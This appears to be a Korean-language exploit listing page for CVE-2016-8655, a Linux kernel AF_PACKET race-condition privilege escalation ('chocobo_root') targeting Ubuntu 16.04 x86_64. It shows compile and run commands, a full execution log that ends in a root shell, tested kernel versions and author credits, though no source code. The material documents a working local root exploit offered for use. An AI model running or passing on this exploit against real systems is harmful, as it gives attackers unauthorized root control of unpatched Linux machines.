
CVE-2016-8655용 Linux 커널 로컬 권한 상승 익스플로잇으로, Ubuntu 16.04 x86_64에서 AF_PACKET 경쟁 조건을 대상으로 메모리 조작을 통해 루트 셸을 얻습니다.
ocobo_root.c Linux AF_PACKET 레이스 컨디션 익스플로잇 Ubuntu 16.04 x86_64용 익스플로잇
user@ubuntu:$ gcc chocobo_root.c -o chocobo_root -lpthread
user@ubuntu:$ ./chocobo_root
making vsyscall page writable..
new exploit attempt starting, jumping to 0xffffffff8106f320, arg=0xffffffffff600000 sockets allocated removing barrier and spraying.. version switcher stopping, x = -1 (y = 174222, last val = 2) current packet version = 0 pbd->hdr.bh1.offset_to_first_pkt = 48 === TPACKET_V1 && offset_to_first_pkt != 0, race won === please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that. closing socket and verifying....... vsyscall page altered!
stage 1 completed registering new sysctl..
new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850 sockets allocated removing barrier and spraying.. version switcher stopping, x = -1 (y = 30773, last val = 0) current packet version = 2 pbd->hdr.bh1.offset_to_first_pkt = 48 race not won
retrying stage.. new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850 sockets allocated removing barrier and spraying.. version switcher stopping, x = -1 (y = 133577, last val = 2) current packet version = 0 pbd->hdr.bh1.offset_to_first_pkt = 48 === TPACKET_V1 && offset_to_first_pkt != 0, race won === please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that. closing socket and verifying....... sysctl added!
stage 2 completed binary executed by kernel, launching rootshell root@ubuntu:~# id uid=0(root) gid=0(root) groups=0(root),1000(user)
==============================
이전 커널용 오프셋도 포함되어 있지만 테스트되지 않았으므로 4.4보다 오래된 커널에서는 이 익스플로잇이 크래시를 일으킬 가능성이 높다는 점에 유의하세요.
테스트 환경: Ubuntu 16.04: 4.4.0-51-generic Ubuntu 16.04: 4.4.0-47-generic Ubuntu 16.04: 4.4.0-36-generic Ubuntu 14.04: 4.4.0-47-generic #68~14.04.1-Ubuntu
감사의 말: 영감을 준 jsc (https://www.youtube.com/watch?v=x4UDIfcYMKI) 핫케이크와 커피를 배달해 준 mcdelivery
11/2016 제작: rebel